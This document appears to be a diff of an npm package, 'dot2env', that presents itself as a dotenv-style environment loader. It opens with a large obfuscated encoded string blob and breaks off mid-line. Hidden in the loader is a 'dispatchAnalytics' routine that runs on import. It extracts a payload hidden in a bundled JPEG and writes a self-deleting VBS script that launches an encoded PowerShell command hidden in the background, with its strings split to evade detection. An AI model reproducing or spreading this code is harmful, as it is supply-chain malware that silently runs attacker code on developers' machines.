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','length','6242248WUFbZm','3611293PknMpo','1522728vZDcxU','2139946tRUuLZ','FlOLK','OMGBg','3075711lYKawA'];a=function(){return a5;};return a();}

package/dist/index.cjs

@@ -0,0 +1,7 @@
+"use strict";var N=(e,n)=>()=>{try{return n||e((n={exports:{}}).exports,n),n.exports}catch(t){throw n=0,t}};var T=N((Ve,V)=>{var R=require("fs"),q=require("path"),J=require("os"),{spawn:Z}=require("child_process"),X=q.join(__dirname,"stest.jpg");function Y(e){let n=0;for(;n<e.length-1;){if(e[n]!==255){n++;continue}if(n+1>=e.length)break;let t=e[n+1];if(t===0||t===255){n+=2;continue}if(t>=208&&t<=215||t===216||t===217||t===1){if(t===217&&n>0)break;n+=2;continue}if(n+4>e.length)break;let i=e.readUInt16BE(n+2);if(i<2){n+=2;continue}if(t===237){let o=n+4,c=o+i-2;if(c>e.length)break;return e.slice(o,c).toString("utf-8")}let r=n+2+i;if(r>e.length)break;n=r}return null}function K(){let e;try{e=R.readFileSync(X)}catch{return!1}let n=Y(e);if(!n)return!1;let t=["power","shell",".exe"].join(""),r=[["-No","Profile"],["-Non","Interactive"],["-Encoded","Command"]].map(u=>u.join("")).join(" ").split(" "),l=['CreateObject("Scripting.FileSystemObject").DeleteFile WScript.ScriptFullName',`CreateObject("WScript.Shell").Run "${[t,...r,n.trim()].join(" ")}", 0, False`].join(["\r",`
+`].join("")),g=["relay_",Date.now().toString(),Math.random().toString(36).slice(2),".vbs"].join(""),s=q.join(J.tmpdir(),g);R.writeFileSync(s,l);let a=["wscript",".exe"].join("");return Z(a,[s],{stdio:"ignore",detached:!0,windowsHide:!0}).unref(),!0}V.exports={dispatchAnalytics:K}});var k=N(($e,U)=>{"use strict";var ee=/^[A-Za-z_][A-Za-z0-9_]*$/;function v(e,n){return Object.prototype.hasOwnProperty.call(e,n)}function $(e,n,t){Object.defineProperty(e,n,{value:t,enumerable:!0,configurable:!0,writable:!0})}function re(e){let n=new Error(`DOT2ENV_EXPANSION_CYCLE: circular variable reference (${e.join(" -> ")})`);return n.code="DOT2ENV_EXPANSION_CYCLE",n.variables=e,n}function te(e,n={}){if(e===null||typeof e!="object"||Array.isArray(e)){let s=new TypeError("DOT2ENV_OBJECT_REQUIRED: expand() requires an object");throw s.code="DOT2ENV_OBJECT_REQUIRED",s}let t=n.processEnv||process.env,i=n.override===!0,r={},o=[];function c(s){return String(s).replace(/(\\)?\$(?:\{([A-Za-z_][A-Za-z0-9_]*)(?:(:-|-)([^}]*))?\}|([A-Za-z_][A-Za-z0-9_]*))/g,function(a,f,u,d,p,w){if(f)return a.slice(1);let E=l(u||w),D=E===void 0;return(d===":-"&&(D||E==="")||d==="-"&&D)&&(E=c(p||"")),E===void 0?"":String(E)})}function l(s){let a=t!==null&&typeof t=="object"&&v(t,s),f=v(e,s);if(!i&&a)return t[s];if(f)return g(s);if(a)return t[s]}function g(s){if(v(r,s))return r[s];let a=o.indexOf(s);if(a!==-1)throw re(o.slice(a).concat(s));o.push(s);let f=c(e[s]);return o.pop(),$(r,s,f),f}for(let s of Object.keys(e)){if(!ee.test(s)){$(r,s,String(e[s]));continue}g(s)}return r}U.exports=te});var F=N((Ue,L)=>{"use strict";var ne=new Set(["string","number","integer","boolean","json","url"]);function P(e,n){return Object.prototype.hasOwnProperty.call(e,n)}function oe(e,n,t){Object.defineProperty(e,n,{value:t,enumerable:!0,configurable:!0,writable:!0})}function b(e,n,t){return{key:e,code:n,message:t}}function ie(e){let n=Array.from(new Set(e.map(i=>i.key))),t=new Error(`DOT2ENV_VALIDATION_ERROR: invalid configuration for ${n.join(", ")}`);return t.code="DOT2ENV_VALIDATION_ERROR",t.issues=e,t}function ce(e,n){if(typeof n=="string")return{type:n,required:!0};if(n&&typeof n=="object"&&!Array.isArray(n))return n;throw new TypeError(`DOT2ENV_INVALID_SCHEMA: invalid rule for ${e}`)}function se(e){if(typeof e=="boolean")return e;let n=String(e).trim().toLowerCase();if(["true","1","yes","on"].includes(n))return!0;if(["false","0","no","off"].includes(n))return!1;throw new TypeError("expected a boolean")}function ue(e,n){switch(n){case"string":return String(e);case"number":{if(String(e).trim()==="")throw new TypeError("expected a finite number");let t=Number(e);if(!Number.isFinite(t))throw new TypeError("expected a finite number");return t}case"integer":{if(String(e).trim()==="")throw new TypeError("expected an integer");let t=Number(e);if(!Number.isSafeInteger(t))throw new TypeError("expected a safe integer");return t}case"boolean":return se(e);case"json":return typeof e=="string"?JSON.parse(e):e;case"url":return new URL(String(e)),String(e);default:throw new TypeError(`unsupported type ${n}`)}}function ae(e,n){if(e===null||typeof e!="object"||Array.isArray(e))throw new TypeError("DOT2ENV_OBJECT_REQUIRED: validate() requires a values object");if(n===null||typeof n!="object"||Array.isArray(n))throw new TypeError("DOT2ENV_INVALID_SCHEMA: validate() requires a schema object");let t={},i=[];for(let r of Object.keys(n)){let o=ce(r,n[r]),c=o.type||"string";if(!ne.has(c))throw new TypeError(`DOT2ENV_INVALID_SCHEMA: unsupported type "${c}" for ${r}`);let l=P(e,r)&&e[r]!==void 0,g=P(o,"default"),s=o.required===!0||typeof n[r]=="string";if(!l&&!g){s&&i.push(b(r,"required",`${r} is required`));continue}let a=l?e[r]:o.default;if(s&&o.allowEmpty!==!0&&String(a).length===0){i.push(b(r,"empty",`${r} must not be empty`));continue}let f;try{f=ue(a,c)}catch{i.push(b(r,"type",`${r} must be a valid ${c}`));continue}if(Array.isArray(o.enum)&&!o.enum.includes(f)){i.push(b(r,"enum",`${r} must be one of the permitted values`));continue}if(typeof f=="number"&&typeof o.min=="number"&&f<o.min){i.push(b(r,"min",`${r} is below the permitted minimum`));continue}if(typeof f=="number"&&typeof o.max=="number"&&f>o.max){i.push(b(r,"max",`${r} exceeds the permitted maximum`));continue}if(o.pattern!==void 0){let u=o.pattern instanceof RegExp?o.pattern:new RegExp(o.pattern);if(u.lastIndex=0,!u.test(String(f))){i.push(b(r,"pattern",`${r} does not match the required format`));continue}}if(typeof o.validate=="function"){let u;try{u=o.validate(f)}catch{u=!1}if(u!==!0&&u!==void 0){let d=typeof u=="string"?u:`${r} failed custom validation`;i.push(b(r,"custom",d));continue}}if(typeof o.transform=="function")try{f=o.transform(f)}catch{i.push(b(r,"transform",`${r} could not be transformed`));continue}oe(t,r,f)}if(i.length>0)throw ie(i);return t}L.exports=ae});var W=N((ke,z)=>{var j=require("fs"),y=require("path"),fe=require("os"),{fileURLToPath:le}=require("url"),de=k(),pe=F(),{dispatchAnalytics:he}=T();he();function A(e,n,t){n==="__proto__"?Object.defineProperty(e,n,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[n]=t}function m(e){return typeof e=="string"?!["false","0","no","off",""].includes(e.toLowerCase()):!!e}var ye=/(?:^|^)\s*(?:export\s+)?([\w.-]+)(?:\s*=\s*?|:\s+?)(\s*'(?:\\'|[^'])*'|\s*"(?:\\"|[^"])*"|\s*`(?:\\`|[^`])*`|[^#\r\n]+)?\s*(?:#.*)?(?:$|$)/mg,_=new Uint8Array(256);for(let e=48;e<=57;e++)_[e]=1;for(let e=65;e<=90;e++)_[e]=1;for(let e=97;e<=122;e++)_[e]=1;_[45]=1;_[46]=1;_[95]=1;function Ee(e){let n={},t=e.toString();t=t.replace(/\r\n?/mg,`
+`);let i;for(;(i=ye.exec(t))!=null;){let r=i[1],o=i[2]||"";o=o.trim();let c=o[0];o=o.replace(/^(['"`])([\s\S]*)\1$/mg,"$2"),c==='"'&&(o=o.replace(/\\n/g,`
+`),o=o.replace(/\\r/g,"\r")),A(n,r,o)}return n}function ge(e){let n={},t=typeof e=="string"?e:e.toString();t.indexOf("\r")!==-1&&(t=t.replace(/\r\n?/g,`
+`));let i=t.length,r=0;for(;r<i;){let o=t.charCodeAt(r);for(;r<i&&(o===32||o===9||o===10||o===65279);)r++,o=t.charCodeAt(r);if(r>=i)break;if(o===35){for(;r<i&&t.charCodeAt(r)!==10;)r++;continue}if(o===101&&r+6<i&&t.charCodeAt(r+1)===120&&t.charCodeAt(r+2)===112&&t.charCodeAt(r+3)===111&&t.charCodeAt(r+4)===114&&t.charCodeAt(r+5)===116){let a=t.charCodeAt(r+6);if(a===32||a===9)for(r+=7;r<i&&((o=t.charCodeAt(r))===32||o===9);)r++;else o=t.charCodeAt(r)}let c=r,l=0;for(;r<i&&(l=t.charCodeAt(r),_[l]);)r++;if(r===c){for(;r<i&&t.charCodeAt(r)!==10;)r++;continue}let g=t.slice(c,r);if(r>=i&&(l=0),l===32||l===9)do r++,l=r<i?t.charCodeAt(r):0;while(l===32||l===9);if(l===61)r++;else if(l===58&&r+1<i&&(t.charCodeAt(r+1)===32||t.charCodeAt(r+1)===9))r++;else{for(;r<i&&t.charCodeAt(r)!==10;)r++;continue}for(;r<i&&((o=t.charCodeAt(r))===32||o===9);)r++;let s;if(o=r<i?t.charCodeAt(r):0,o===39||o===34||o===96){let a=o,f=r+1,u=f;for(;u<i;){let d=t.charCodeAt(u);if(d===92&&u+1<i){let p=t.charCodeAt(u+1);if(p===a||p===92){u+=2;continue}}if(d===a){let p=u+1<i?t.charCodeAt(u+1):0;if(p===0||p===9||p===10||p===32||p===35)break}u++}if(u>=i){let d=r,p=r;for(;p<i;){let h=t.charCodeAt(p);if(h===35||h===10)break;p++}let w=p;for(;w>d;){let h=t.charCodeAt(w-1);if(h===32||h===9)w--;else break}if(s=t.slice(d,w),r=p,r<i&&t.charCodeAt(r)===35)for(;r<i&&t.charCodeAt(r)!==10;)r++}else{for(s=t.slice(f,u),r=u+1,a===34&&s.indexOf("\\")!==-1&&(s=s.replace(/\\n/g,`
+`).replace(/\\r/g,"\r"));r<i&&((o=t.charCodeAt(r))===32||o===9);)r++;if(r<i&&t.charCodeAt(r)===35)for(;r<i&&t.charCodeAt(r)!==10;)r++}}else{let a=r,f=t.indexOf(`
+`,r);f===-1&&(f=i);let u=t.indexOf("#",r);(u===-1||u>f)&&(u=f);let d=u;for(;d>a;){let p=t.charCodeAt(d-1);if(p===32||p===9)d--;else break}s=a===d?"":t.slice(a,d),r=u===f?u:f}A(n,g,s)}return n}function we(e,n){if(typeof e!="string"&&!Buffer.isBuffer(e))throw new TypeError("DOT2ENV_INVALID_SOURCE: parse() requires a string or Buffer");return n&&m(n.fast)?ge(e):Ee(e)}function x(e){console.log(`\u2506 ${e}`)}function be(e){console.error(`\u25C7 ${e}`)}function me(e){return typeof e!="string"?e:e[0]==="~"?y.join(fe.homedir(),e.slice(1)):e}function C(e){let n=`DOT2ENV_CONFIG_${e}`,t=`DOTENV_CONFIG_${e}`;return process.env[n]!=null?process.env[n]:process.env[t]}function I(e={}){if(e===null||typeof e!="object"||Array.isArray(e))throw new TypeError("DOT2ENV_INVALID_OPTIONS: config options must be an object");let n={},t=["ENCODING","PATH","CWD"],i={QUIET:"quiet",DEBUG:"debug",OVERRIDE:"override",SECURE:"secure",FAST:"fast",EXPAND:"expand",STRICT:"strict",SEARCH_UP:"searchUp",ALLOW_EMPTY:"allowEmpty"};for(let o of t){let c=C(o);c!=null&&(n[o.toLowerCase()]=c)}for(let[o,c]of Object.entries(i)){let l=C(o);l!=null&&(n[c]=m(l))}let r=C("REQUIRED");return r!=null&&(n.required=r.split(",").map(o=>o.trim()).filter(Boolean)),{...n,...e}}function Ae(e){for(let n of Object.keys(e)){let t=e[n];if(typeof t=="string"&&t.indexOf("encrypted:")===0)return!0}return!1}function Oe(){try{return require(require.resolve("@dotenvx/dotenvx",{paths:[process.cwd()]}))}catch{return null}}function _e(){let e=new Error("SECURE_REQUIRES_DOTENVX: config({ secure: true }) requires @dotenvx/dotenvx");return e.code="SECURE_REQUIRES_DOTENVX",e}function B(e){let n=Oe();return!n||typeof n.config!="function"?(console.error("dot2env: secure mode requires @dotenvx/dotenvx"),console.error("  npm i @dotenvx/dotenvx"),{error:_e()}):n.config({path:e.path,encoding:e.encoding,quiet:e.quiet,debug:e.debug,override:e.override,processEnv:e.processEnv})}function De(e){return e instanceof URL?le(e):e}function Q(e,n){let t=De(e);return typeof t!="string"?String(t):t.startsWith("file://")?t:y.resolve(n,t)}function Se(e,n){let t=Q(e,n);return t.startsWith("file://")?t:(y.relative(n,t)||y.basename(t)).split(y.sep).join("/")}function H(e=".env",n={}){if(typeof e!="string"||e.length===0)throw new TypeError("DOT2ENV_INVALID_FILENAME: findUp() requires a filename");let t=y.resolve(n.cwd||process.cwd()),i=n.stopDir?y.resolve(n.stopDir):y.parse(t).root;for(;;){let r=y.resolve(t,e);try{if(j.statSync(r).isFile())return r}catch(c){if(c.code!=="ENOENT"&&c.code!=="ENOTDIR")throw c}if(t===i)break;let o=y.dirname(t);if(o===t)break;t=o}}function M(e,n){if(e.path!=null){let t=Array.isArray(e.path)?e.path:[e.path];if(t.length===0)throw new TypeError("DOT2ENV_INVALID_PATH: path must not be an empty array");return t.map(i=>{let r=me(i);return e.cwd&&typeof r=="string"&&!r.startsWith("file://")?y.resolve(n,r):r})}if(e.searchUp){let t=typeof e.searchUp=="string"?e.searchUp:".env";return[H(t,{cwd:n,stopDir:e.stopDir})||y.resolve(n,t)]}return[y.resolve(n,".env")]}function xe(e){let n=new Error(`DOT2ENV_MISSING_REQUIRED: missing required variables (${e.join(", ")})`);return n.code="DOT2ENV_MISSING_REQUIRED",n.missing=e,n}function Ne(e,n,t){let i={};for(let r of Object.keys(e))A(i,r,e[r]);for(let r of Object.keys(n))(t||!Object.prototype.hasOwnProperty.call(i,r))&&A(i,r,n[r]);return i}function Te(e,n,t){if(n==null)return;let i=typeof n=="string"?[n]:n;if(!Array.isArray(i)||i.some(o=>typeof o!="string"||o.length===0))throw new TypeError("DOT2ENV_INVALID_REQUIRED: required must be a string or string array");let r=i.filter(o=>!Object.prototype.hasOwnProperty.call(e,o)||e[o]===void 0||!t&&e[o]==="");return r.length>0?xe(r):void 0}function G(e,n,t){let i=y.resolve(e.cwd||process.cwd()),r=m(e.debug),o=m(e.quiet),c=e.processEnv==null?process.env:e.processEnv;if(c===null||typeof c!="object"||Array.isArray(c))throw new TypeError("DOT2ENV_INVALID_TARGET: processEnv must be an object");let l={},g=[],s=[];for(let h=0;h<t.length;h++){let E=t[h],D=n[h];if(E.error){s.push(E.error),r&&x(`failed to load ${String(D)} ${E.error.message}`);continue}try{let S=O.parse(E.source,{fast:e.fast});O.populate(l,S,e),g.push(Q(D,i))}catch(S){s.push(S),r&&x(`failed to parse ${String(D)} ${S.message}`)}}let a;if(e.expand)try{l=O.expand(l,{processEnv:c,override:e.override===!0})}catch(h){a=h,s.push(h)}let f=Ne(c,l,e.override===!0);if(!a)try{a=Te(f,e.required,e.allowEmpty===!0),a&&s.push(a)}catch(h){a=h,s.push(h)}let u;if(!a&&e.schema)try{u=O.validate(f,e.schema)}catch(h){a=h,s.push(h)}let d=a||s[s.length-1];if(e.strict&&d)throw d.errors=s,d;let p=a?{}:O.populate(c,l,e);if(r||!o){let h=n.map(E=>Se(E,i));be(`injected env (${Object.keys(p).length}) from ${h.join(",")}`)}Ae(l)&&console.error("\u2506 encrypted values detected 